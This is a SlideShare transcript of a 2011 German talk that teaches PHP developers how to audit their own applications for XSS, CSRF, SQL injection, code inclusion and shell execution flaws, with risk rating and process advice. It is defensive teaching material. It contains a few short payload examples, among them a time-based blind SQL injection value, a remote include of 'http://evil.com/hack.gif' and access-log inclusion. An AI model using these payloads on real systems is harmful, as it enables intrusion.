SlideShare una empresa de Scribd logo
1 de 100
SELF AUDITING PHP APPS
      Travian Offsite 2011
ANTEIL ANGREIFBARER
                  WEBSITES 2010
         Information Leakage                                       64 %
          Cross-Site-Scripting                                     64 %
            Content Spoofing                           43 %
  Cross Site Request Forgery                   24 %
                  Brute Force              17 %
     Insufficient Authorization           15 %
Predictable Resource Location            14 %
                SQL Injection            14 %
              Session Fixation           14 %
       Abuse of Functionality          10 %
                                  0%          18%     35%      53%            70%
                                                              (c) 2010 Whitehat Security
I analyzed your security issues
   and i came to the result:


             YOU
              IS
             DUMB
I analyzed your security issues
    and came to the result:

            YOU
          IS STILL
            DUMB
Wir haben einen systematischen Fehler.
Wie gehe ich vor?
Risikobewertung
Einfach den
DREAD
fragen!
Damage Potential
Reproducability
Exploitablitity
Affected Users
Discoverability
„MD5 mit globalen Salt als
Passwort-Hash in der Datenbank?“

Damage Potential - hoch
Reproducability - niedrig
Exploitablitity - niedrig
Affected Users - niedrig
Discoverability - niedrig
Gesamtrisiko - niedrig
„XSS in einem Online-Spiel?“


Damage Potential - mittel
Reproducability - hoch
Exploitablitity - mittel
Affected Users - niedrig
Discoverability - hoch
Gesamtrisiko - mittel
„SQL-Injection in der Payment-
              Lösung?“

Damage Potential - hoch
Reproducability - hoch
Exploitablitity - hoch
Affected Users - mittel
Discoverability - mittel
Gesamtrisiko - hoch
Ok, wir suchen also nach High-
Risk-Issues, aber wie?
Black Box Testing   White Box Testing
Black Box Testing
INFORMATIONEN SAMMELN
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de

• site:travianer.de   inurl:&
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de

• site:travianer.de   inurl:&

• Spidering Tools: wget     :-), WebScarab, Burp Suite
• Search   Engines: robots.txt, sitemap.xml, site:travianer.de

• site:travianer.de   inurl:&

• Spidering Tools: wget     :-), WebScarab, Burp Suite

• 404-Seiten   und Default-Urls (/admin/, /config, /scripts)
PARAMETER MANIPULATION
PARAMETER MANIPULATION
PARAMETER MANIPULATION

• Get-Variablen, Post-Variablen, Cookies
PARAMETER MANIPULATION

• Get-Variablen, Post-Variablen, Cookies

• User-Agent
PARAMETER MANIPULATION

• Get-Variablen, Post-Variablen, Cookies

• User-Agent

• DNS, Hostname   vom Client
PARAMETER MANIPULATION

• Get-Variablen, Post-Variablen, Cookies

• User-Agent

• DNS, Hostname    vom Client

• Bei   Default-Domain: HTTP Host-Header
PARAMETER MANIPULATION

• Get-Variablen, Post-Variablen, Cookies

• User-Agent

• DNS, Hostname    vom Client

• Bei   Default-Domain: HTTP Host-Header

• Accept-Header: Language, Encoding
Tools:
  OWasp WebScarab
OWasp Zed Attack Proxy
 Portswigger BurpSuite
  Firefox Tamper Data
XSS
   SQL-INJECTIONS
BLIND SQL-INJECTIONS
        CSRF
BORING ahead
BORING!
XSS PENTEST
BORING!
                XSS PENTEST

• Typ 0 XSS
 Einfache Prüfung:
 wird im JavaScript der Seite
 location.search oder
 document.location verwendet?
BORING!
                   XSS PENTEST

• Typ 0 XSS
 Einfache Prüfung:
 wird im JavaScript der Seite
 location.search oder
 document.location verwendet?

• Wird   die Seite mit diesem String manipuliert?
BORING!
                    XSS PENTEST

• Typ 0 XSS
 Einfache Prüfung:
 wird im JavaScript der Seite
 location.search oder
 document.location verwendet?

• Wird   die Seite mit diesem String manipuliert?

• Typisches   Beispiel: Frames und Iframes
BORING!
XSS PENTEST
BORING!
                 XSS PENTEST

• Typ1 / Typ 2 XSS
 Alle Formularfelder oder GET-Variablen mit einer Signatur
 absenden und prüfen, ob sie nach dem Submit wieder auftritt
BORING!
                 XSS PENTEST

• Typ1 / Typ 2 XSS
 Alle Formularfelder oder GET-Variablen mit einer Signatur
 absenden und prüfen, ob sie nach dem Submit wieder auftritt

• Anhand des Auftrittsortes eine passende XSS-Payload
 konstruieren
BORING!
                 XSS PENTEST

• Typ1 / Typ 2 XSS
 Alle Formularfelder oder GET-Variablen mit einer Signatur
 absenden und prüfen, ob sie nach dem Submit wieder auftritt

• Anhand des Auftrittsortes eine passende XSS-Payload
 konstruieren

• Falls
     ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet
 verwenden
BORING!
CSRF PENTESTING
BORING!
              CSRF PENTESTING

• Prüfung: Existiert   ein Tokenschutz?
BORING!
               CSRF PENTESTING

• Prüfung: Existiert   ein Tokenschutz?

• Falls   ja
BORING!
               CSRF PENTESTING

• Prüfung: Existiert   ein Tokenschutz?

• Falls   ja

  • Ist   der Token vorhersehbar?
BORING!
                  CSRF PENTESTING

• Prüfung: Existiert    ein Tokenschutz?

• Falls   ja

  • Ist   der Token vorhersehbar?

  • wird       der Token überprüft?
BORING!
                  CSRF PENTESTING

• Prüfung: Existiert    ein Tokenschutz?

• Falls   ja

  • Ist   der Token vorhersehbar?

  • wird       der Token überprüft?

• Falls   nein
BORING!
                  CSRF PENTESTING

• Prüfung: Existiert    ein Tokenschutz?

• Falls   ja

  • Ist   der Token vorhersehbar?

  • wird       der Token überprüft?

• Falls   nein

  • existiert     ein Referer-Check?
BORING!
(3 slides to go)
BORING!
SQL INJECTION PENTESTING
BORING!
 SQL INJECTION PENTESTING


• Parametermanipulation
BORING!
 SQL INJECTION PENTESTING


• Parametermanipulation

 • Test   mit Escape-Parametern und Sonderzeichen
BORING!
 SQL INJECTION PENTESTING


• Parametermanipulation

 • Test   mit Escape-Parametern und Sonderzeichen

 • Lassen   sich Fehlermeldungen provozieren?
BORING!
 SQL INJECTION PENTESTING


• Parametermanipulation

 • Test   mit Escape-Parametern und Sonderzeichen

 • Lassen   sich Fehlermeldungen provozieren?

 • Ändert   sich etwas an den dargestellten Werten?
BORING!
SQL INJECTION PENTESTING
BORING!
 SQL INJECTION PENTESTING

• Rekonstruktion   der Query
BORING!
 SQL INJECTION PENTESTING

• Rekonstruktion   der Query

 • Wird   der Wert direkt verwand oder escaped?
BORING!
 SQL INJECTION PENTESTING

• Rekonstruktion   der Query

 • Wird   der Wert direkt verwand oder escaped?

 • Position   der Injection durch Tests und Fehler
BORING!
 SQL INJECTION PENTESTING

• Rekonstruktion   der Query

 • Wird   der Wert direkt verwand oder escaped?

 • Position   der Injection durch Tests und Fehler

   • Union-Versuch
BORING!
 SQL INJECTION PENTESTING

• Rekonstruktion   der Query

 • Wird   der Wert direkt verwand oder escaped?

 • Position   der Injection durch Tests und Fehler

   • Union-Versuch

   • Klammern-Tests
BORING!
 SQL INJECTION PENTESTING

• Rekonstruktion   der Query

 • Wird   der Wert direkt verwand oder escaped?

 • Position   der Injection durch Tests und Fehler

   • Union-Versuch

   • Klammern-Tests

 • Feldzahl   und -namen Erkennung mit Union
BORING!
SQL INJECTION PENTESTING -
   BLIND SQL INJECTION
BORING!
SQL INJECTION PENTESTING -
   BLIND SQL INJECTION
• Nicht   jede Query liefert ein sichtbares Ergebnis
BORING!
SQL INJECTION PENTESTING -
   BLIND SQL INJECTION
• Nicht   jede Query liefert ein sichtbares Ergebnis

• Aber: mankann das Laufzeitverhalten ändern, oder Fehler
 provozieren
BORING!
SQL INJECTION PENTESTING -
   BLIND SQL INJECTION
• Nicht   jede Query liefert ein sichtbares Ergebnis

• Aber: mankann das Laufzeitverhalten ändern, oder Fehler
 provozieren

• index.jsp?field=name&direction=ASC
BORING!
SQL INJECTION PENTESTING -
   BLIND SQL INJECTION
• Nicht   jede Query liefert ein sichtbares Ergebnis

• Aber: mankann das Laufzeitverhalten ändern, oder Fehler
 provozieren

• index.jsp?field=name&direction=ASC

• ..direction=,Benchmark(1...0, md5(1)) ASC
BORING!
SQL INJECTION PENTESTING -
   BLIND SQL INJECTION
• Nicht   jede Query liefert ein sichtbares Ergebnis

• Aber: mankann das Laufzeitverhalten ändern, oder Fehler
 provozieren

• index.jsp?field=name&direction=ASC

• ..direction=,Benchmark(1...0, md5(1)) ASC

• Kann    zur Passwortenumeration genutzt werden
AUTHENTIFIZIERUNG


• Registration: Fehlermeldung    bei existierenden Loginnamen?

• Gibt   es eine Brute-Force-Detection für Logins?

• Dictionary-Attacke

• (Auch   nützlich für Identy Theft :-) )
Auf die Weise war bei Wewaii
in ca 5 Min ein XSS zu finden.
White Box Testing
TOOLS

• „grep“

• IDE   mit
 • syntax     highlightening
 • guter      Code-Navigation
• Dynamische      Code Analyse: Debugger mit
 • Step Thru

 • Variablenintrospektion, Breakpoints
„Sources“

• Quellen, deren   Daten man manipulieren kann

• Siehe
     Parameter Manipulation ($_REQUEST, $_POST, $_GET,
 $_COOKIE, $_SERVER, $_FILES, $_ENV, $GLOBALS...)

• ->getParams(), ->getParam(), ->getModuleName()    ...

• Externe   Services & eingebundene Quellen

• ausgelesene   Daten (GIF-Kommentare, CSV-Daten)
„Sinks“


• Nur    bestimmte Funktionen können zu Exploits führen

• JedeExploitklasse hat ein eigenes Set an Funktionen
 zB: SQL Injections, Code Executions

• Fazit: Jede Verwendung   dieser Funktionen prüfen
SQL INJECTIONS

• Funktionen: mysql_query, mysqli_query, pdo::query, ...

• Deine    Datenbankabstraktion

• Was   zu prüfen wäre:

  • sind   die Werte korrekt escaped?

  • Auch    Zahlen, Sortierkriterien und -richtungen?

  • Datenbank-, Tabellen-   und Spaltennamen auch?
CODE EXECUTIONS
• Funktionen:

  • eval(), create_function(), preg_replace   mit modifier e,
   usort, uasort, *_callback functions

• Gespeicherter    und includierter Code:

  • Templates    in Smarty

  • Cache-Daten

• “-Strings   können PHP-Code ausführen! “{${phpinfo}}“
CODE INCLUSIONS

• Funktionen    (include|require)[_once]

• Lokal: include “/var/log/http/access.log“
                                          mit user-agent / referer
 <?php ... ?>, aktueller mail()-from-Exploit

• Remote: include “http://evil.com/hack.gif“

• Other: “ftp://..“, “php://input...“, “data://...“

• allow_url_fopen     hilft nicht bei data und php!
SHELL EXECUTIONS

• Funktionen:
 shell_exec (BackTicks!), exec(), system(), popen(), passthru()

• mail()!

• Executable
           und Parameter müssen bereinigt werden -
 escape_shell_args hilft nur bei “

• Benutzung    von escape_shell_cmd und escape_shell_args
 prüfen
INFORMATION LEAKAGE

• Funktionen: fopen(), fread(), file(), debug_backtrace()...

• Vulnerabilities:

  • lokale   Dateien mit sensiblen Daten

  • bei   allow_url_fopen Intranet/DMZ auslesen

  • lokale   Konfigurationsdateien

  • zu   verbose Fehlermeldungen
XSS: Escaping prüfen
• Überall   wo Daten für den Nutzer aufbereitet werden

•5   Kontexte in HTML -> 5 verschiedene Escapings

  • Text: htmlentities()

  • Attributes: htmlspecialchars()

  • URLs: urlencode()

  • JavaScript-   und Stylesheet-Strings: addcslashes()

  • HTML: Whitelist-Filters   wie htmlpurifier
Tools für statische Codeanalyse

• RIPS: http://websec.wordpress.com/tools/

 • XSS, SQLi, Disclosure, ...(Nicht    PHP5-Kompatibel)

• Armorize CodeSecure http://www.armorize.com/ (ok
 und teuer)

• HyperSource, Fortify   (nur teuer)

• Kein   Ersatz für manuelle Audits
ORGANISATION
SECURITY
  PUSH
SECURITY
  PUSH
Einmalaktion:
        Security Guidelines

 Bug Barrier
         Developer-Knowhow

  Initiales Audit
AGILE
SECURITY
EVIL USER STORIES

  Als Hacker füge ich
“<script>“ in alle URL-
Parameter ein, um einen
   XSS zu erzeugen.
Security Spikes
            Security Reviews
Developer Audits

 Security Retrospectives
Security Achievement:
       unlocked

Más contenido relacionado

Destacado (13)

El iphone 6
El iphone 6El iphone 6
El iphone 6
 
Criminalidad y Factores Sociales
Criminalidad y Factores SocialesCriminalidad y Factores Sociales
Criminalidad y Factores Sociales
 
EquityDaily.pdf
EquityDaily.pdfEquityDaily.pdf
EquityDaily.pdf
 
Nini chaquetas
Nini chaquetasNini chaquetas
Nini chaquetas
 
la informatica en la educacion
la informatica en la educacionla informatica en la educacion
la informatica en la educacion
 
Maquinariademanufactura
MaquinariademanufacturaMaquinariademanufactura
Maquinariademanufactura
 
1.4 recurso suelo
 1.4 recurso suelo 1.4 recurso suelo
1.4 recurso suelo
 
El Balompié Utrerano / CD Utrera 1946-1960
 El Balompié Utrerano / CD Utrera 1946-1960 El Balompié Utrerano / CD Utrera 1946-1960
El Balompié Utrerano / CD Utrera 1946-1960
 
Presentacion 2
Presentacion 2Presentacion 2
Presentacion 2
 
Mi presentacion
Mi presentacionMi presentacion
Mi presentacion
 
Segundo indicador de desempeño 2014
Segundo indicador de desempeño 2014Segundo indicador de desempeño 2014
Segundo indicador de desempeño 2014
 
Web 2
Web 2Web 2
Web 2
 
OG698.pdf
OG698.pdfOG698.pdf
OG698.pdf
 

Más de Johann-Peter Hartmann

E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018Johann-Peter Hartmann
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtJohann-Peter Hartmann
 
Legacy php - Sanieren oder Ablösen?
Legacy php  - Sanieren oder Ablösen?Legacy php  - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?Johann-Peter Hartmann
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaJohann-Peter Hartmann
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenJohann-Peter Hartmann
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeJohann-Peter Hartmann
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startupJohann-Peter Hartmann
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesJohann-Peter Hartmann
 

Más de Johann-Peter Hartmann (20)

The End of my Career
The End of my CareerThe End of my Career
The End of my Career
 
E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018
 
DevOps beyond the Tools
DevOps beyond the ToolsDevOps beyond the Tools
DevOps beyond the Tools
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommt
 
Legacy php - Sanieren oder Ablösen?
Legacy php  - Sanieren oder Ablösen?Legacy php  - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für China
 
Die Architektur, die man kann
Die Architektur, die man kannDie Architektur, die man kann
Die Architektur, die man kann
 
NewWork in der Praxis
NewWork in der PraxisNewWork in der Praxis
NewWork in der Praxis
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und Systemadministratoren
 
Das Ende der Karriere
Das Ende der KarriereDas Ende der Karriere
Das Ende der Karriere
 
DevOps jenseits der Tools
DevOps jenseits der ToolsDevOps jenseits der Tools
DevOps jenseits der Tools
 
Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-Verträge
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startup
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektes
 
Agile versus Management WJAX 2014
Agile versus Management WJAX 2014Agile versus Management WJAX 2014
Agile versus Management WJAX 2014
 
Leadership in der IT
Leadership in der ITLeadership in der IT
Leadership in der IT
 
Vom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftVom Entwickler zur Führungskraft
Vom Entwickler zur Führungskraft
 
Erfolgreiche rewrites
Erfolgreiche rewritesErfolgreiche rewrites
Erfolgreiche rewrites
 
Surviving Complexity
Surviving ComplexitySurviving Complexity
Surviving Complexity
 

Self auditing php-code

  • 1. SELF AUDITING PHP APPS Travian Offsite 2011
  • 2. ANTEIL ANGREIFBARER WEBSITES 2010 Information Leakage 64 % Cross-Site-Scripting 64 % Content Spoofing 43 % Cross Site Request Forgery 24 % Brute Force 17 % Insufficient Authorization 15 % Predictable Resource Location 14 % SQL Injection 14 % Session Fixation 14 % Abuse of Functionality 10 % 0% 18% 35% 53% 70% (c) 2010 Whitehat Security
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8. I analyzed your security issues and i came to the result: YOU IS DUMB
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14. I analyzed your security issues and came to the result: YOU IS STILL DUMB
  • 15. Wir haben einen systematischen Fehler.
  • 16.
  • 17. Wie gehe ich vor?
  • 18.
  • 19.
  • 23. „MD5 mit globalen Salt als Passwort-Hash in der Datenbank?“ Damage Potential - hoch Reproducability - niedrig Exploitablitity - niedrig Affected Users - niedrig Discoverability - niedrig Gesamtrisiko - niedrig
  • 24. „XSS in einem Online-Spiel?“ Damage Potential - mittel Reproducability - hoch Exploitablitity - mittel Affected Users - niedrig Discoverability - hoch Gesamtrisiko - mittel
  • 25. „SQL-Injection in der Payment- Lösung?“ Damage Potential - hoch Reproducability - hoch Exploitablitity - hoch Affected Users - mittel Discoverability - mittel Gesamtrisiko - hoch
  • 26. Ok, wir suchen also nach High- Risk-Issues, aber wie?
  • 27. Black Box Testing White Box Testing
  • 30.
  • 31. • Search Engines: robots.txt, sitemap.xml, site:travianer.de
  • 32. • Search Engines: robots.txt, sitemap.xml, site:travianer.de • site:travianer.de inurl:&
  • 33. • Search Engines: robots.txt, sitemap.xml, site:travianer.de • site:travianer.de inurl:& • Spidering Tools: wget :-), WebScarab, Burp Suite
  • 34. • Search Engines: robots.txt, sitemap.xml, site:travianer.de • site:travianer.de inurl:& • Spidering Tools: wget :-), WebScarab, Burp Suite • 404-Seiten und Default-Urls (/admin/, /config, /scripts)
  • 37. PARAMETER MANIPULATION • Get-Variablen, Post-Variablen, Cookies
  • 38. PARAMETER MANIPULATION • Get-Variablen, Post-Variablen, Cookies • User-Agent
  • 39. PARAMETER MANIPULATION • Get-Variablen, Post-Variablen, Cookies • User-Agent • DNS, Hostname vom Client
  • 40. PARAMETER MANIPULATION • Get-Variablen, Post-Variablen, Cookies • User-Agent • DNS, Hostname vom Client • Bei Default-Domain: HTTP Host-Header
  • 41. PARAMETER MANIPULATION • Get-Variablen, Post-Variablen, Cookies • User-Agent • DNS, Hostname vom Client • Bei Default-Domain: HTTP Host-Header • Accept-Header: Language, Encoding
  • 42. Tools: OWasp WebScarab OWasp Zed Attack Proxy Portswigger BurpSuite Firefox Tamper Data
  • 43.
  • 44. XSS SQL-INJECTIONS BLIND SQL-INJECTIONS CSRF
  • 47. BORING! XSS PENTEST • Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?
  • 48. BORING! XSS PENTEST • Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet? • Wird die Seite mit diesem String manipuliert?
  • 49. BORING! XSS PENTEST • Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet? • Wird die Seite mit diesem String manipuliert? • Typisches Beispiel: Frames und Iframes
  • 51. BORING! XSS PENTEST • Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt
  • 52. BORING! XSS PENTEST • Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt • Anhand des Auftrittsortes eine passende XSS-Payload konstruieren
  • 53. BORING! XSS PENTEST • Typ1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt • Anhand des Auftrittsortes eine passende XSS-Payload konstruieren • Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden
  • 55. BORING! CSRF PENTESTING • Prüfung: Existiert ein Tokenschutz?
  • 56. BORING! CSRF PENTESTING • Prüfung: Existiert ein Tokenschutz? • Falls ja
  • 57. BORING! CSRF PENTESTING • Prüfung: Existiert ein Tokenschutz? • Falls ja • Ist der Token vorhersehbar?
  • 58. BORING! CSRF PENTESTING • Prüfung: Existiert ein Tokenschutz? • Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft?
  • 59. BORING! CSRF PENTESTING • Prüfung: Existiert ein Tokenschutz? • Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft? • Falls nein
  • 60. BORING! CSRF PENTESTING • Prüfung: Existiert ein Tokenschutz? • Falls ja • Ist der Token vorhersehbar? • wird der Token überprüft? • Falls nein • existiert ein Referer-Check?
  • 63. BORING! SQL INJECTION PENTESTING • Parametermanipulation
  • 64. BORING! SQL INJECTION PENTESTING • Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen
  • 65. BORING! SQL INJECTION PENTESTING • Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen • Lassen sich Fehlermeldungen provozieren?
  • 66. BORING! SQL INJECTION PENTESTING • Parametermanipulation • Test mit Escape-Parametern und Sonderzeichen • Lassen sich Fehlermeldungen provozieren? • Ändert sich etwas an den dargestellten Werten?
  • 68. BORING! SQL INJECTION PENTESTING • Rekonstruktion der Query
  • 69. BORING! SQL INJECTION PENTESTING • Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped?
  • 70. BORING! SQL INJECTION PENTESTING • Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler
  • 71. BORING! SQL INJECTION PENTESTING • Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch
  • 72. BORING! SQL INJECTION PENTESTING • Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch • Klammern-Tests
  • 73. BORING! SQL INJECTION PENTESTING • Rekonstruktion der Query • Wird der Wert direkt verwand oder escaped? • Position der Injection durch Tests und Fehler • Union-Versuch • Klammern-Tests • Feldzahl und -namen Erkennung mit Union
  • 74. BORING! SQL INJECTION PENTESTING - BLIND SQL INJECTION
  • 75. BORING! SQL INJECTION PENTESTING - BLIND SQL INJECTION • Nicht jede Query liefert ein sichtbares Ergebnis
  • 76. BORING! SQL INJECTION PENTESTING - BLIND SQL INJECTION • Nicht jede Query liefert ein sichtbares Ergebnis • Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren
  • 77. BORING! SQL INJECTION PENTESTING - BLIND SQL INJECTION • Nicht jede Query liefert ein sichtbares Ergebnis • Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren • index.jsp?field=name&direction=ASC
  • 78. BORING! SQL INJECTION PENTESTING - BLIND SQL INJECTION • Nicht jede Query liefert ein sichtbares Ergebnis • Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren • index.jsp?field=name&direction=ASC • ..direction=,Benchmark(1...0, md5(1)) ASC
  • 79. BORING! SQL INJECTION PENTESTING - BLIND SQL INJECTION • Nicht jede Query liefert ein sichtbares Ergebnis • Aber: mankann das Laufzeitverhalten ändern, oder Fehler provozieren • index.jsp?field=name&direction=ASC • ..direction=,Benchmark(1...0, md5(1)) ASC • Kann zur Passwortenumeration genutzt werden
  • 80. AUTHENTIFIZIERUNG • Registration: Fehlermeldung bei existierenden Loginnamen? • Gibt es eine Brute-Force-Detection für Logins? • Dictionary-Attacke • (Auch nützlich für Identy Theft :-) )
  • 81. Auf die Weise war bei Wewaii in ca 5 Min ein XSS zu finden.
  • 83. TOOLS • „grep“ • IDE mit • syntax highlightening • guter Code-Navigation • Dynamische Code Analyse: Debugger mit • Step Thru • Variablenintrospektion, Breakpoints
  • 84. „Sources“ • Quellen, deren Daten man manipulieren kann • Siehe Parameter Manipulation ($_REQUEST, $_POST, $_GET, $_COOKIE, $_SERVER, $_FILES, $_ENV, $GLOBALS...) • ->getParams(), ->getParam(), ->getModuleName() ... • Externe Services & eingebundene Quellen • ausgelesene Daten (GIF-Kommentare, CSV-Daten)
  • 85. „Sinks“ • Nur bestimmte Funktionen können zu Exploits führen • JedeExploitklasse hat ein eigenes Set an Funktionen zB: SQL Injections, Code Executions • Fazit: Jede Verwendung dieser Funktionen prüfen
  • 86. SQL INJECTIONS • Funktionen: mysql_query, mysqli_query, pdo::query, ... • Deine Datenbankabstraktion • Was zu prüfen wäre: • sind die Werte korrekt escaped? • Auch Zahlen, Sortierkriterien und -richtungen? • Datenbank-, Tabellen- und Spaltennamen auch?
  • 87. CODE EXECUTIONS • Funktionen: • eval(), create_function(), preg_replace mit modifier e, usort, uasort, *_callback functions • Gespeicherter und includierter Code: • Templates in Smarty • Cache-Daten • “-Strings können PHP-Code ausführen! “{${phpinfo}}“
  • 88. CODE INCLUSIONS • Funktionen (include|require)[_once] • Lokal: include “/var/log/http/access.log“ mit user-agent / referer <?php ... ?>, aktueller mail()-from-Exploit • Remote: include “http://evil.com/hack.gif“ • Other: “ftp://..“, “php://input...“, “data://...“ • allow_url_fopen hilft nicht bei data und php!
  • 89. SHELL EXECUTIONS • Funktionen: shell_exec (BackTicks!), exec(), system(), popen(), passthru() • mail()! • Executable und Parameter müssen bereinigt werden - escape_shell_args hilft nur bei “ • Benutzung von escape_shell_cmd und escape_shell_args prüfen
  • 90. INFORMATION LEAKAGE • Funktionen: fopen(), fread(), file(), debug_backtrace()... • Vulnerabilities: • lokale Dateien mit sensiblen Daten • bei allow_url_fopen Intranet/DMZ auslesen • lokale Konfigurationsdateien • zu verbose Fehlermeldungen
  • 91. XSS: Escaping prüfen • Überall wo Daten für den Nutzer aufbereitet werden •5 Kontexte in HTML -> 5 verschiedene Escapings • Text: htmlentities() • Attributes: htmlspecialchars() • URLs: urlencode() • JavaScript- und Stylesheet-Strings: addcslashes() • HTML: Whitelist-Filters wie htmlpurifier
  • 92. Tools für statische Codeanalyse • RIPS: http://websec.wordpress.com/tools/ • XSS, SQLi, Disclosure, ...(Nicht PHP5-Kompatibel) • Armorize CodeSecure http://www.armorize.com/ (ok und teuer) • HyperSource, Fortify (nur teuer) • Kein Ersatz für manuelle Audits
  • 96. Einmalaktion: Security Guidelines Bug Barrier Developer-Knowhow Initiales Audit
  • 98. EVIL USER STORIES Als Hacker füge ich “<script>“ in alle URL- Parameter ein, um einen XSS zu erzeugen.
  • 99. Security Spikes Security Reviews Developer Audits Security Retrospectives

Notas del editor

  1. Willkommen zum Vortrag - aber schauen wir mal an, wie die Situation draussen gerade so aussieht ... \n
  2. Die Daten stammen aus einer Stichprobe von 3000 Unternehmenseiten. IT-Unternehmen stehen da im Schnitt noch mal eins schlechter da. Was passiert, wenn so eine L&amp;#xFC;cke von einem Hacker ausgenutzt wird? \n
  3. Dein Chef kommt in den Raum, und fragt Dich, welcher von den Praktikanten die Website ge&amp;#xE4;ndert hat\n
  4. Die sieht n&amp;#xE4;mlich gerade so aus. \n
  5. Oder so, wenn man bei einer Bank oder Sony arbeitet. \n
  6. Auf jeden Fall haben wir erst mal ein Problem. Der Chef fragt, was passiert ist und wie man es zu fixen gedenkt. \n
  7. Und er holt einen Security-Experten der Wahl dazu. \n
  8. Der Security-Consulting bekommt vor allem heraus, dass die Developer vermutlich weniger Ahnung von Security hatten als er und deshalb einige Fehler passiert sind. Er listet die Fehler auf, und der Developer darf sie korrigieren. \n
  9. Der Developer macht sich also an die Arbeit und fixt die Bugs, und hofft, dass der Hacker seinen Spass hatte und woanders einkaufen geht.\n
  10. Die Zeit vergeht ... \n
  11. Und 2 Jahre sp&amp;#xE4;ter kommt Dein Chef wieder zu Dir und fragt Dich, welcher Praktikant an der Website war. \n
  12. ... weil Deine Website jetzt so aussieht. \n
  13. Und er holt einen Security-Experten der Wahl dazu. \n
  14. Der Security-Consulting bekommt vor allem heraus, dass der Developer nichts dazu gelernt hat. \n
  15. \n
  16. Die L&amp;#xF6;sung: der Developer sollte wissen, wie Security funktioniert, damit er selbst f&amp;#xFC;r Sicherheit sorgen kann.\n
  17. Aber wie gehe ich vor? Wogegen will ich mich &amp;#xFC;berhaupt absichern?\n
  18. Genau, gegen meine gr&amp;#xF6;&amp;#xDF;ten Sicherheitsrisiken. Die m&amp;#xF6;chte ich bitte kennen und beheben.\n
  19. Mein Problem ist aber: nicht alles, was wie ein Sicherheitsproblem aussieht, ist auch eins. \nAber wie unterscheide ich ein wirklich wichtiges von einem nicht so wichtigen Sicherheitsproblem?\n
  20. Wie macht man eine brauchbare Bewertung des Risikos? \nFragen wir doch mal jemanden, der sich damit auskennt ... \n
  21. Den Dread. Der Dread hat zu Zeiten von Code Red und Nimda bei Microsoft angefangen ist Experte in Risikobewertung. \n
